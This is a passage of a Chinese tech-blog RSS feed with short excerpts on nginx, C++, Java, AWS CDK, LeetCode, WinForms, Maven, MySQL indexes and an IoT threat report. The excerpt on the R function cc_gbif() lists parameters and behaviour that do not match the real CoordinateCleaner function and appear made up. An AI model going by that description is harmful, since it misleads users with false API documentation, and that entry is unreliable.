      <description>戳上方蓝字“Java知音”关注我&#xA;1概述 限流（Rate Limitting）是服务降级的一种方式，通过限制系统的输入和输出流量以达到保护系统的目的。&#xA;比如我们的网站暴露在公网环境中，除了用户的正常访问，网络爬虫、恶意攻击或者大促等突发流量都可能都会对系统造成压力，如果这种压力超出了服务器的处理能力，会造成响应过慢甚至系统崩溃的问题。&#xA;因此，当并发请求数过大时，我们通过限制一部分请求（比如限制同一IP的频繁请求）来保证服务器可以正确响应另一部分的请求。&#xA;nginx 提供了两种限流方式，一种是限制请求速率，一种是限制连接数量。&#xA;另外还提供了对下载/上传速度的限制。&#xA;2限制请求速率 nginx 的 ngx_http_limit_req_module 模块提供限制请求处理速率的能力，使用了漏桶算法（leaky bucket algorithm）。我们可以想像有一只上面进水、下面匀速出水的桶，如果桶里面有水，那刚进去的水就要存在桶里等下面的水流完之后才会流出，如果进水的速度大于水流出的速度，桶里的水就会满，这时水就不会进到桶里，而是直接从桶的上面溢出。&#xA;对应到处理网络请求，水代表从客户端来的请求，而桶代表一个队列，请求在该队列中依据先进先出（FIFO）算法等待被处理。漏的水代表请求离开缓冲区并被服务器处理，溢出代表了请求被丢弃并且永不被服务。&#xA;2.1、正常限流 nginx 中有两个主要的指令可以用来配置限流：limit_req_zone 和 limit_req。&#xA;下面是一个最简单的限流的例子：&#xA;limit_req_zone $binary_remote_addr zone=test:10m rate=2r/s; server { location / { limit_req zone=test; } } imit_req_zone 用于设置限流和共享内存区域的参数，格式为：limit_req_zone key zone rate。&#xA;key： 定义限流对象，$binary_remote_addr 是 nginx 中的变量，表示基于 remote_addr(客户端IP) 来做限流，binary_ 是二进制存储。使用 $binary_remote_addr 而不是 $remote_addr 是因为二进制存储可以压缩内存占用量。$remote_addr 变量的大小从7到15个字节不等，而 $binary_remote_addr变量的大小对于 IPv4 始终为4个字节，对于 IPv6 地址则为16个字节。&#xA;zone： 定义共享内存区来存储访问信息，访问信息包括每个 IP 地址状态和访问受限请求 URL 的频率等。zone 的定义又分为两个部分：由 zone= 关键字标识的区域名称，以及冒号后面的区域大小。test:10m 表示一个大小为10M，名字为 test 的内存区域。1M 能存储16000个 IP 地址的访问信息，test 大概可以存储约160000个地址。nginx 创建新记录的时候，会移除前60秒内没有被使用的记录，如果释放的空间还是存储不了新的记录，会返回503的状态码。</description>
    </item>
    <item>
      <title>阶段十-分布式-nginx服务器</title>
      <link>https://bchobby.github.io/posts/323325f3ed0d6ebd09fc371c6f2e4f1b/</link>
      <pubDate>Mon, 01 Jan 2024 16:39:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/323325f3ed0d6ebd09fc371c6f2e4f1b/</guid>
      <description>一、Nginx简介 Nginx 是高性能的 HTTP 和反向代理的服务器，处理高并发能力是十分强大的，能经受高负载的考验,有报告表明能支持高达 50,000 个并发连接数。tomcat并发数量理论值是500，实际也就300左右。&#xA;1.2 正向代理 正向代理代理的是客户端，帮客户端发送请求给目标服务器，服务器响应后，由代理服务器将响应内容返回给客户端。使客户端对目标服务器不可见。比较常见的用户场景就是翻墙。&#xA;1.3 反向代理 反向代理在生产中应用还是比较多的，代理服务器代理目标服务器，负责收发请求，目标服务器对客户端来说是不可见的，不过客户端请求目标服务器和请求代理是一样的效果。比较常见的场景就是nginx的负载均衡&#xA;1.4 负载均衡 增加服务器的数量，然后将请求分发到各个服务器上，将原先请求集中到单个服务器上的情况改为将请求分发到多个服务器上，将负载分发到不同的服务器，也就是我们所说的负载均衡。&#xA;1.5 动静分离 将网站的动态资源和静态资源分别部署到不同的服务器，并由nginx统一调用。&#xA;二、Nginx安装 【1】安装pcre依赖&#xA;1.下载压缩包：wget http://downloads.sourceforge.net/project/pcre/pcre/8.37/pcre-8.37.tar.gz&#xA;2.解压压缩包：tar -xvf pcre-8.37.tar.gz&#xA;3.安装gcc：yum install gcc&#xA;4.安装gcc：yum install -y gcc gcc-c++&#xA;5.在pcre-8.37目录输入：./configure 6.在pcre-8.37目录输入：make &amp;amp;&amp;amp; make install&#xA;【2】安装 openssl 、zlib 、 gcc 依赖&#xA;yum -y install make zlib zlib-devel gcc-c++ libtool openssl openssl-devel&#xA;【3】安装nginx&#xA;1.将nginx压缩包上传到usr/local目录下&#xA;2.解压到当前目录：tar -xvf nginx-1.12.2.tar.gz&#xA;3.进入nginx-1.12.2目录输入：./configure&#xA;4.进入nginx-1.12.2目录输入：make &amp;amp;&amp;amp; make install&#xA;【4】启动nginx&#xA;1.进入sbin目录：cd /usr/local/nginx/sbin&#xA;2.启动服务：./nginx 【5】关闭防火墙</description>
    </item>
    <item>
      <title>C&#43;&#43; 侯捷 内存管理</title>
      <link>https://bchobby.github.io/posts/c0346ba96cba3eb09748577989f82cf9/</link>
      <pubDate>Mon, 01 Jan 2024 15:51:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0346ba96cba3eb09748577989f82cf9/</guid>
      <description>C++ 的内存获取机制：&#xA;void* p1 = malloc(512); free(p1); complex&amp;lt;int&amp;gt;* p2 = new complex&amp;lt;int&amp;gt;; delete p2; void* p3 = ::operator new(512); ::operator delete(p3); //GNUC void* p4 = alloc::allocate(512); alloc::deallocate(p4, 512); //GNUC4.9 void* p5 = allocator&amp;lt;int&amp;gt;().allocate(7); //分配7个int allocator&amp;lt;int&amp;gt;().deallocate((int*)p5, 7); 表达式 new delete new的步骤：&#xA;申请一段指定类大小的空间：new —&amp;gt; operator new —&amp;gt; malloc转化为对应类类型调用类构造函数 在operator new的源码中，有个std::nothrow_t&amp;amp; _THROW0()参数，表示这个函数不抛异常，取而代之的是返回一个空指针，用户通过判断是否为空指针来判断是否分配成功。&#xA;array new、array delete array new是分配一个对象数组，通常容易犯得一个错误是在delete的时候忘记在delete后面加[]导致内存泄漏的问题。&#xA;replacement new 允许我们将对象分配在已经构建的内存中&#xA;他不会进行内存分配，而是调用重载的operator new，用于返回已经分配好的内存，转型、调用构造函数。&#xA;#include&amp;lt;new&amp;gt; char* buf = new char[sizeof(Complex)* 3]; Complex* pc = new(buf) Complex(1, 2); // replacement new!</description>
    </item>
    <item>
      <title>Collections工具类整理</title>
      <link>https://bchobby.github.io/posts/e3d87e47a9be79da1b7445209ff5331d/</link>
      <pubDate>Mon, 01 Jan 2024 15:50:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3d87e47a9be79da1b7445209ff5331d/</guid>
      <description>//int[]转List&amp;lt;Integer&amp;gt;: //使用Arrays.stream(ints).boxed().collect(Collectors.toList()); //排序:Collections.sort, 没有返回值；默认是顺序排序。 //翻转:Collections.reverse, 没有返回值； //交换元素:Collections.swap, 没有返回值； Collections.sort底层使用的排序算法 基本数据类型的封装类：双轴快速排序。双轴快速排序是对经典快速排序的改进，它利用两个轴点（即两个基准元素）将数组划分为三个部分：小于第一个轴点、介于两个轴点之间和大于第二个轴点&#xA;其它的对象类型：优化后的归并排序（TimSort）算法。【算法】排序算法之归并排序 - 知乎</description>
    </item>
    <item>
      <title>R语言【CoordinateCleaner】——cc_gbif(): 根据通过 method 参数定义的方法，删除或标记地理空间中异常值的记录。</title>
      <link>https://bchobby.github.io/posts/0c1fdd845715465bede0089e3956b1b1/</link>
      <pubDate>Mon, 01 Jan 2024 15:46:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c1fdd845715465bede0089e3956b1b1/</guid>
      <description>cc_gbif()是R语言包coordinatecleaner中的一个函数，用于清理GBIF（全球生物多样性信息设施）数据集的地理坐标。该函数可以识别潜在的坐标错误，并对其进行修正或删除。&#xA;以下是cc_gbifl()函数的一般用法和主要参数：&#xA;cc_gbif(data, species = NULL, geometry = c(&#34;point&#34;, &#34;polygon&#34;), geometry_column = NULL, latitude_column = &#34;decimalLatitude&#34;, longitude_column = &#34;decimalLongitude&#34;, coordinate_precision_column = NULL, bounding_box = NULL, geographic_extent = NULL, keep_records_without_coordinates = TRUE) 参数说明：&#xA;data: 输入的数据框或数据表，包含GBIF数据集。species: 可选参数，用于筛选特定物种的观测记录。默认为NULL，表示使用所有物种的记录。geometry: 指定数据集的几何类型，可以是&#34;point&#34;（点）或&#34;polygon&#34;（多边形）。如果数据集是点集，则几何类型应设置为&#34;point&#34;。如果数据集是多边形（如网格区域），则几何类型应设置为&#34;polygon&#34;。默认为&#34;point&#34;。geometry_column: 数据集中存储几何信息的列名。默认为NULL，表示函数将自动检测列名。latitude_column: 纬度信息所在的列名，默认为&#34;decimalLatitude&#34;。longitude_column: 经度信息所在的列名，默认为&#34;decimalLongitude&#34;。coordinate_precision_column: 坐标精度信息所在的列名，用于检测坐标错误。默认为NULL，表示不使用该列进行错误检测。bounding_box: 可选参数，指定限制数据集的边界框（经度范围和纬度范围）。默认为NULL，表示不限制边界框。geographic_extent: 可选参数，指定限制数据集的地理范围（国家、大陆等）。默认为NULL，表示不限制地理范围。keep_records_without_coordinates: 一个逻辑值，表示是否保留没有坐标信息的记录。默认为TRUE，即保留这些记录。 函数功能：&#xA;cc_gbif()函数用于对GBIF数据集进行清理和修正，以消除潜在的坐标错误。它可以识别并修复以下类型的坐标问题：&#xA;重复的坐标：如果数据集中存在相同的坐标点，函数会将其合并为一个唯一的坐标点。空白坐标：如果数据集中存在缺失的坐标点，函数会删除这些记录。错误的坐标范围：函数会通过比较坐标点与世界各地的实际范围进行验证，并删除超出范围的记录。错误的坐标精度：如果提供了坐标精度信息（通过coordinate_precision_column参数），函数会根据精度信息检测可能的坐标错误，并进行修正或删除。 cc_gbif()函数是R语言包coordinatecleaner中的一个功能强大的函数，用于清理GBIF数据集中的地理坐标。它可以识别并修复重复的坐标点、空白的坐标点以及超出范围的坐标记录。此外，该函数还可以利用提供的坐标精度信息来检测可能的坐标错误，并进行修正或删除。&#xA;使用cc_gbif()函数时，用户可以通过指定特定物种的观测记录、几何类型（点或多边形）、存储几何信息的列名等参数来定制化处理。还可以选择限制数据集的边界框或地理范围。函数还提供了一个选项，决定是否保留没有坐标信息的记录。&#xA;通过使用cc_gbif()函数，用户可以有效地清理和纠正GBIF数据集中的地理坐标，提高数据的质量和准确性。这对于生物多样性研究、生态分析和地理信息系统应用都非常有价值。</description>
    </item>
    <item>
      <title>AWS CDK安装到AWS EC2 Linux 2</title>
      <link>https://bchobby.github.io/posts/17764866a21bff6b111a295117950324/</link>
      <pubDate>Mon, 01 Jan 2024 15:36:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17764866a21bff6b111a295117950324/</guid>
      <description>文章目录 小结问题及解决安装NPM安装aws-cdk-lib找不到Python3 测试参考 小结 AWS CDK安装到AWS EC2 Linux 2，并记录过程。&#xA;问题及解决 安装NPM [ec2-user@ip-100-92-28-119 aws]$ sudo yum install npm Loaded plugins: priorities, update-motd, upgrade-helper amzn2-core | 3.6 kB 00:00:00 amzn2extra-ecs | 2.9 kB 00:00:00 amzn2extra-epel | 3.0 kB 00:00:00 amzn2extra-mate-desktop1.x | 3.0 kB 00:00:00 amzn2extra-python3.8 | 2.9 kB 00:00:00 epel/x86_64/metalink | 4.9 kB 00:00:00 epel | 4.7 kB 00:00:00 (1/2): epel/x86_64/updateinfo | 1.0 MB 00:00:00 (2/2): epel/x86_64/primary_db | 7.0 MB 00:00:00 311 packages excluded due to repository priority protections Resolving Dependencies --&amp;gt; Running transaction check ---&amp;gt; Package npm.</description>
    </item>
    <item>
      <title>LeetCode中等题之盛最多水的容器</title>
      <link>https://bchobby.github.io/posts/5a639b1c47e5701db8129dc6ba05d129/</link>
      <pubDate>Mon, 01 Jan 2024 15:12:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a639b1c47e5701db8129dc6ba05d129/</guid>
      <description> 题目 给定一个长度为 n 的整数数组 height 。有 n 条垂线，第 i 条线的两个端点是 (i, 0) 和 (i, height[i]) 。&#xA;找出其中的两条线，使得它们与 x 轴共同构成的容器可以容纳最多的水。&#xA;返回容器可以储存的最大水量。&#xA;说明：你不能倾斜容器。&#xA;示例 1：&#xA;输入：[1,8,6,2,5,4,8,3,7]&#xA;输出：49&#xA;解释：图中垂直线代表输入数组 [1,8,6,2,5,4,8,3,7]。在此情况下，容器能够容纳水（表示为蓝色部分）的最大值为 49。&#xA;示例 2：&#xA;输入：height = [1,1]&#xA;输出：1&#xA;解题思路 在数组的头和尾分别设置一个指针，通过题目可以知道目的主要是找最大，直接比较两个指针指向的值大小，小的值的指针往中间靠即可在搜索中找到最大容量。&#xA;class Solution: def maxArea(self, height: List[int]) -&amp;gt; int: i,j,ans=0,len(height)-1,-1 while i!=j: if height[i]&amp;lt;height[j]: ans=max(ans,(j-i)*height[i]) i+=1 else: ans=max(ans,(j-i)*height[j]) j-=1 return ans </description>
    </item>
    <item>
      <title>【小白专用】winform启动界面&#43;登录窗口 更新2024.1.1</title>
      <link>https://bchobby.github.io/posts/f098e864d583a6cd401b0092933377fb/</link>
      <pubDate>Mon, 01 Jan 2024 15:03:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f098e864d583a6cd401b0092933377fb/</guid>
      <description>需求场景：先展示启动界面，然后打开登录界面，如果登录成功就跳转到主界面&#xA;首先在程序的入口路径加载启动界面，使用ShowDialog显示界面，&#xA;然后在启动界面中添加定时器，来实现显示一段时间的效果，等到时间到了就关闭&#xA;启动界面的窗口。传递一个对象给登录界面，用来保存登录状态，显示登录界面，&#xA;如果登录成功就在登录界面中对这个传递进来的对象就行修改，这里使用1作为成功&#xA;的返回值，注意这里也需要使用ShowDialog来打开这个窗口。等到登录窗口关闭后&#xA;判断这个返回值，如果为成功则显示用户主界面，如果不成功的话程序就会直接退出。&#xA;主要代码如下&#xA;using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using System.Windows.Forms; namespace AliWorkbenchProgram { internal static class Program { /// &amp;lt;summary&amp;gt; /// 应用程序的主入口点。 /// &amp;lt;/summary&amp;gt; [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); //启动界面 loadFrm form = new loadFrm(); form.ShowDialog(); //保存返回值 int[] loginResult = new int[] { 0 }; //传递返回值对象给登录窗口 loginFrm main = new loginFrm(loginResult); main.ShowDialog(); //由于使用的是ShowDialog，所有只有在窗口关闭后才会继续向下执行 if (loginResult[0] == 1) { //打开主界面 Application.</description>
    </item>
    <item>
      <title>数据结构OJ实验7-树结构及应用</title>
      <link>https://bchobby.github.io/posts/f1d571794b25a99e4d5ba10096b7e966/</link>
      <pubDate>Mon, 01 Jan 2024 14:58:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1d571794b25a99e4d5ba10096b7e966/</guid>
      <description>A. 树的先序遍历（双亲转先序） 题目描述 亲表示法结果，用一个二维数组表示，位置下标从0开始，如果双亲位置为-1则表示该结点为根结点&#xA;编写程序，输出该树的先根遍历结果。&#xA;输入 第一个输入t，表示有t棵树&#xA;接着每棵树输入3行：&#xA;第1行输入n，表示树有n个结点&#xA;第2行输入n个英文字母，表示每个树结点的数值&#xA;第3行输入n个整数，表示每个结点的双亲在数组的下标&#xA;以此类推输入下一棵树&#xA;输出 共输出t行，每行输出一棵树的先根遍历结果&#xA;样例查看模式 正常显示查看格式&#xA;输入样例1 2&#xA;7&#xA;A B C D E F G&#xA;-1 0 0 0 1 1 3&#xA;10&#xA;A B C D R E F G H K&#xA;4 4 4 0 -1 0 2 6 6 6&#xA;输出样例1 ABEFCDG&#xA;RADEBCFGHK&#xA;AC代码 #include&amp;lt;iostream&amp;gt; #include&amp;lt;vector&amp;gt; using namespace std; struct node { char data; int fa; node() { data = &#39;0&#39;; fa = -1;//全部默认自己为根 } }; class tree { vector&amp;lt;node&amp;gt;t; int n; public: tree() { cin &amp;gt;&amp;gt; n; t.</description>
    </item>
    <item>
      <title>【C&#43;&#43;】STL 容器 - map 关联容器 ② ( map 容器常用 api 操作 | 容器插入元素操作 - map#insert 函数 | 插入 / 修改 元素操作 - operator[] )</title>
      <link>https://bchobby.github.io/posts/dcf14fd134173a055f3bfc97f5448f80/</link>
      <pubDate>Mon, 01 Jan 2024 14:56:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dcf14fd134173a055f3bfc97f5448f80/</guid>
      <description>文章目录 一、map 容器插入元素操作 - map#insert 函数1、函数原型简介2、pair 键值对初始化方式 二、map 容器 插入 / 修改 元素操作 - map#operator[] 函数三、代码示例 - map 容器插入 / 更新元素1、代码示例2、执行结果 一、map 容器插入元素操作 - map#insert 函数 1、函数原型简介 在 C++ 语言 标准模板库 ( STL , Standard Template Library ) 的 std::map 容器 的 insert 函数 可以 向 map 中插入一个键值对 ;&#xA;map#insert 函数原型 :&#xA;pair&amp;lt;iterator, bool&amp;gt; insert(const value_type&amp;amp; value); 参数解析 : 参数类型 : value_type 是 map 容器中存储的元素的类型 , 具体类型为 pair&amp;lt;const Key, T&amp;gt; 类型 , Key 是键的类型 , T 是值的类型 ;参数对象 : 传入的 value 对象 就是一个 pair 对组对象 , 是一个 键值对 元素 ; 返回值解析 : 返回值类型为 pair&amp;lt;iterator, bool&amp;gt; , 也是一个 pair 对组对象 ; 返回值对组的 第一个值是 iterator 迭代器 , 指向已经插入的 键值对 元素 ;返回值对组的 第二个值是 布尔值 , 表示插入是否成功 , 如果键 Key 已经存在 , 则插入失败 , 返回 false ;如果键 Key 不存在 , 则插入新元素 , 返回 true ; 2、pair 键值对初始化方式 在上面的章节中提到 , 调用 map#insert 函数 向 map 容器中插入 键值对元素 , 需要 创建一个 pair&amp;lt;const Key, T&amp;gt; 键值对对象 作为 参数 ;</description>
    </item>
    <item>
      <title>【小白专用】c#制作简单启动画面 更新2024.1.1</title>
      <link>https://bchobby.github.io/posts/ab569da1f693ff8400e80289d7600f7d/</link>
      <pubDate>Mon, 01 Jan 2024 14:52:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab569da1f693ff8400e80289d7600f7d/</guid>
      <description>VS2020创建一个C# Windows窗体应用程序，将主窗体改名为FormMain，再创建一个窗体起名为SplashScreen。向程序中加载一个图片作为启动画面，如下图&#xA;然后编辑SplashScreen.cs代码&#xA;using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace AliWorkbenchProgram { /// &amp;lt;summary&amp;gt; /// 启动画面 /// &amp;lt;/summary&amp;gt; public partial class SplashScreen : Form { /// &amp;lt;summary&amp;gt; /// 启动画面本身 /// &amp;lt;/summary&amp;gt; static SplashScreen instance; /// &amp;lt;summary&amp;gt; /// 显示的图片 /// &amp;lt;/summary&amp;gt; Bitmap bitmap; public static SplashScreen Instance { get { return instance; } set { instance = value; } } public SplashScreen() { InitializeComponent(); // 设置窗体的类型 FormBorderStyle = FormBorderStyle.</description>
    </item>
    <item>
      <title>Maven中的SNAPSHOT版本和Release版本</title>
      <link>https://bchobby.github.io/posts/7d86d86bc73318a5e689455ba8fbf924/</link>
      <pubDate>Mon, 01 Jan 2024 14:03:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d86d86bc73318a5e689455ba8fbf924/</guid>
      <description>Maven中建立的依赖管理方式基本已成为Java语言依赖管理的事实标准，Maven的替代者Gradle也基本沿用了Maven的依赖管理机制。在Maven依赖管理中，唯一标识一个依赖项是由该依赖项的三个属性构成的，分别是groupId、artifactId以及version。这三个属性可以唯一确定一个组件（Jar包或者War包）。&#xA;其实在Nexus仓库中，一个仓库一般分为public(Release)仓和SNAPSHOT仓，前者存放正式版本，后者存放快照版本。如果在项目配置文件中（无论是build.gradle还是pom.xml）指定的版本号带有’-SNAPSHOT’后缀，比如版本号为’Junit-4.10-SNAPSHOT’，那么打出的包就是一个快照版本。&#xA;快照版本和正式版本的主要区别在于，本地获取这些依赖的机制有所不同。假设你依赖一个库的正式版本，构建的时候构建工具会先在本次仓库中查找是否已经有了这个依赖库，如果没有的话才会去远程仓库中去拉取。所以假设你发布了Junit-4.10.jar到了远程仓库，有一个项目依赖了这个库，它第一次构建的时候会把该库从远程仓库中下载到本地仓库缓存，以后再次构建都不会去访问远程仓库了。所以如果你修改了代码，向远程仓库中发布了新的软件包，但仍然叫Junit-4.10.jar，那么依赖这个库的项目就无法得到最新更新。你只有在重新发布的时候升级版本，比如叫做Junit-4.11.jar，然后通知依赖该库的项目组也修改依赖版本为Junit-4.11,这样才能使用到你最新添加的功能。&#xA;这种方式在团队内部开发的时候会变的特别蛋痛。假设有两个小组负责维护两个组件，example-service和example-ui,其中example-ui项目依赖于example-service。而这两个项目每天都会构建多次，如果每次构建你都要升级example-service的版本，那么你会疯掉。这个时候SNAPSHOT版本就派上用场了。每天日常构建时你可以构建example-service的快照版本，比如example-service-1.0-SNAPSHOT.jar，而example-ui依赖该快照版本。每次example-ui构建时，会优先去远程仓库中查看是否有最新的example-service-1.0-SNAPSHOT.jar，如果有则下载下来使用。即使本地仓库中已经有了example-service-1.0-SNAPSHOT.jar，它也会尝试去远程仓库中查看同名的jar是否是最新的。有的人可能会问，这样不就不能充分利用本地仓库的缓存机制了吗？别着急，Maven比我们想象中的要聪明。在配置Maven的Repository的时候中有个配置项，可以配置对于SNAPSHOT版本向远程仓库中查找的频率。频率共有四种，分别是always、daily、interval、never。当本地仓库中存在需要的依赖项目时，always是每次都去远程仓库查看是否有更新，daily是只在第一次的时候查看是否有更新，当天的其它时候则不会查看；interval允许设置一个分钟为单位的间隔时间，在这个间隔时间内只会去远程仓库中查找一次，never是不会去远程仓库中查找（这种就和正式版本的行为一样了）。&#xA;Maven版本的配置方式为：&#xA;&amp;lt;repository&amp;gt; &amp;lt;id&amp;gt;myRepository&amp;lt;/id&amp;gt; &amp;lt;url&amp;gt;...&amp;lt;/url&amp;gt; &amp;lt;snapshots&amp;gt; &amp;lt;enabled&amp;gt;true&amp;lt;/enabled&amp;gt; &amp;lt;updatePolicy&amp;gt;XXX&amp;lt;/updatePolicy&amp;gt; &amp;lt;/snapshots&amp;gt; &amp;lt;/repository&amp;gt; 12345678 其中updatePolicy就是那4种类型之一。如果配置间隔时间更新，可以写作interval:XX(XX是间隔分钟数)。daily配置是默认值。&#xA;而在Gradle，可以设置本地缓存的更新策略。&#xA;configurations.all { // check for updates every build resolutionStrategy.cacheChangingModulesFor 0,&#39;seconds&#39; } 123456 当然也可以按照分钟或者小时来设置&#xA;configurations.all { resolutionStrategy.cacheChangingModulesFor 10, ‘minutes&#39; } 12345 configurations.all { resolutionStrategy.cacheChangingModulesFor 4, ‘hours&#39; } 12345 所以一般在开发模式下，我们可以频繁的发布SNAPSHOT版本，以便让其它项目能实时的使用到最新的功能做联调；当版本趋于稳定时，再发布一个正式版本，供正式使用。当然在做正式发布时，也要确保当前项目的依赖项中不包含对任何SNAPSHOT版本的依赖，保证正式版本的稳定性。&#xA;原文链接：https://www.cnblogs.com/huang0925/p/5169624.html</description>
    </item>
    <item>
      <title>美团面试：索引的设计规范，你知道哪些？</title>
      <link>https://bchobby.github.io/posts/06b7e361dab530638cf6d8b9c0a674e5/</link>
      <pubDate>Mon, 01 Jan 2024 14:00:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06b7e361dab530638cf6d8b9c0a674e5/</guid>
      <description>美团面试：索引的设计规范，你知道哪些？ 尼恩说在前面 在40岁老架构师 尼恩的读者交流群(50+)中，尼恩一直在指导大家改造简历、指导面试。指导很多小伙伴拿到了一线互联网企业网易、美团、字节、如阿里、滴滴、极兔、有赞、希音、百度、美团的面试资格，拿到大厂offer。&#xA;其中，数据库的面试题，是核心和重点的题目，比如前段时间小伙伴面试美团，就遇到了下面这个 题：&#xA;索引的设计规范，你知道哪些？&#xA;小伙伴虽然用过索引，但是索引的设计规范忘记得一干二净，回答也是朦朦胧胧、支支吾吾， 当然，面试也就挂了。小伙伴赶紧来求助尼恩。&#xA;在这里，尼恩在这里给大家做一下系统化、体系化的梳理，按照下面的套路去回答，可以充分展示一下大家雄厚的 “技术肌肉”，让面试官爱到 “不能自已、口水直流”。&#xA;也一并把这个题目以及参考答案，收入咱们的 《尼恩Java面试宝典PDF》V154版本，供后面的小伙伴参考，提升大家的 3高 架构、设计、开发水平。&#xA;特别提示，尼恩的3高架构宇宙，尼恩Java面试宝典，都是持续升级。&#xA;《尼恩 架构笔记》《尼恩高并发三部曲》《尼恩Java面试宝典》的PDF，请到文末公号【技术自由圈】取&#xA;文章目录 美团面试：索引的设计规范，你知道哪些？尼恩说在前面1、索引原理2、索引的分类3、索引的优缺点4、参考的索引设计规范4.1 索引命名规范4.2 尽量选择整型列做索引4.3 优先建立唯一性索引4.4 为经常需要排序、分组和联合操作的字段建立索引4.5 为常作为查询条件的字段建立索引4.6 限制索引的数目4.7 尽量使用数据量少的索引4.9 尽量使用前缀来索引4.10 删除不再使用或者很少使用的索引4.11 最左前缀匹配原则，非常重要的原则。4.12 尽量选择区分度高的列作为索引4.13 索引列不能参与计算，保持列“干净”4.14 尽量的扩展索引，不要新建索引4.15 考虑建立联合索引来提高查询效率 参考文献：说在最后：有问题可以找老架构取经尼恩技术圣经系列PDF 1、索引原理 索引是帮助MySQL高效获取数据的数据结构，注意，是帮助高性能的获取数据。&#xA;索引好比是一本书的目录，可以直接根据页码找到对应的内容，目的就是为了加快数据库的查询速度。&#xA;索引是对数据库表中一列或多列的值进行排序的一种结构，使用索引可快速访问数据库表中的特定信息。索引是一种能帮助mysql提高了查询效率的数据结构：索引数据结构。 索引的存储原理大致可以概括为一句话：以空间换时间。&#xA;数据库在未添加索引, 进行查询的时候默认是进行全文搜索，也就是说有多少数据就进行多少次查询，然后找到相应的数据就把它们放到结果集中，直到全文扫描完毕。&#xA;数据库添加了索引之后，通过索引快速找到数据在磁盘上的位置，可以快速地读取数据，而不用从头开始全表扫描。&#xA;一般来说索引本身也很大，不可能全部存储在内存中，因此索引往往是存储在磁盘上的文件中的（可能存储在单独的索引文件中，也可能和数据一起存储在数据文件中）。&#xA;2、索引的分类 主键索引：primary key&#xA;设定为主键后，数据库自动建立索引，InnoDB为聚簇索引，主键索引列值不能为空（Null）。 唯一索引：&#xA;索引列的值必须唯一，但允许有空值（Null），但只允许有一个空值（Null）。 复合索引：&#xA;一个索引可以包含多个列，多个列共同构成一个复合索引。 全文索引：&#xA;Full Text（MySQL5.7之前，只有MYISAM存储引擎引擎支持全文索引）。全文索引类型为FULLTEXT，在定义索引的列上支持值的全文查找允许在这些索引列中插入重复值和空值。全文索引可以在Char、VarChar 上创建。 空间索引：&#xA;MySQL在5.7之后的版本支持了空间索引，而且支持OpenGIS几何数据模型，MySQL在空间索引这方面遵循OpenGIS几何数据模型规则。 前缀索引：&#xA;在文本类型为char、varchar、text类列上创建索引时，可以指定索引列的长度，但是数值类型不能指定。 3、索引的优缺点 优点：&#xA;大大提高数据查询速度。可以提高数据检索的效率，降低数据库的IO成本，类似于书的目录。通过索引列对数据进行排序，降低数据的排序成本降低了CPU的消耗。被索引的列会自动进行排序，包括【单例索引】和【组合索引】，只是组合索引的排序需要复杂一些。如果按照索引列的顺序进行排序，对order 不用语句来说，效率就会提高很多。 缺点：&#xA;索引会占据磁盘空间。索引虽然会提高查询效率，但是会降低更新表的效率。比如每次对表进行增删改查操作，MySQL不仅要保存数据，还有保存或者更新对应的索引文件。维护索引需要消耗数据库资源。 综合索引的优缺点：&#xA;数据库表中不是索引越多越好，而是仅为那些常用的搜索字段建立索引效果最佳! 4、参考的索引设计规范 每个公司，都有自己的 设计规范，</description>
    </item>
    <item>
      <title>《2023年企业IoT和OT威胁报告》：物联网恶意软件攻击增长400%</title>
      <link>https://bchobby.github.io/posts/20ca3287de7c2516040a3fa5b2f5a672/</link>
      <pubDate>Mon, 01 Jan 2024 13:53:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20ca3287de7c2516040a3fa5b2f5a672/</guid>
      <description>内容概括： 物联网（IoT）设备无疑改变了我们生活、工作和管理运营技术（OT）环境的方式。总体而言，到2027年，全球物联网设备数量预计将超过290亿，比2023年的167亿大幅增加。设备和智能技术的激增也为网络犯罪分子提供了更多的机会，他们开始将物联网连接变成一个潜在的威胁，甚至是毁灭性的现实。为了帮助组织更好地了解当前的物联网形势以及最佳防护措施，Zscaler threatlabz研究团队分析了来自Zscaler Zero Trust Exchange（世界上最大的内联安全云）的设备流量和物联网恶意软件数据，形成了这份《2023年企业IoT和OT威胁报告》。重要发现：1.物联网设备流量增长18%，这一趋势与物联网和连接设备的稳步采用表现一致。2.路由器是最易受攻击的设备，因为它们始终连接、无处不在的特性，以及作为网络流量中央控制点的功能，使其成为主要目标。3.与2022年同期相比，物联网恶意软件攻击增长了400%以上，这凸显了优先防范恶意软件的必要性。4.制造业是受恶意软件攻击最多的行业，占所有攻击的5%，平均每周受到6000次攻击。5.僵尸网络活动继续占据主导地位，Mirai和Gafgyt恶意软件家族占攻击有效载荷的66%。6.自2022年以来，教育领域遭受的恶意软件攻击大幅增加，比例跃升了961%。7.网络犯罪分子的目标是遗留漏洞，在39个“最受欢迎的漏洞”中就有34个存在三年以上的漏洞。8.墨西哥和美国是受灾最严重的国家，占攻击总数的3%。&#xA;研判认为： 目前国内用户使用的物联网设备主要包含机顶盒、智能电视、智能手表、数据终端和媒体播放器这五类。其中机顶盒和智能电视可谓每家每户都有，我方建议相关组织增加适当的安全措施，例如：加密通讯、访问控制、身份验证等。工信、网信等相关部门应逐步有效引导，增强居民的安全意识，了解物联网设备的安全风险，并采取适当的安全措施，例如更改默认密码、定期更新密码等。</description>
    </item>
    <item>
      <title>.net8时代,微软.net开发策略，F#不就是VB语言吗？</title>
      <link>https://bchobby.github.io/posts/397b60cc7bb8765bce17eb5c2beac990/</link>
      <pubDate>Mon, 01 Jan 2024 12:54:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/397b60cc7bb8765bce17eb5c2beac990/</guid>
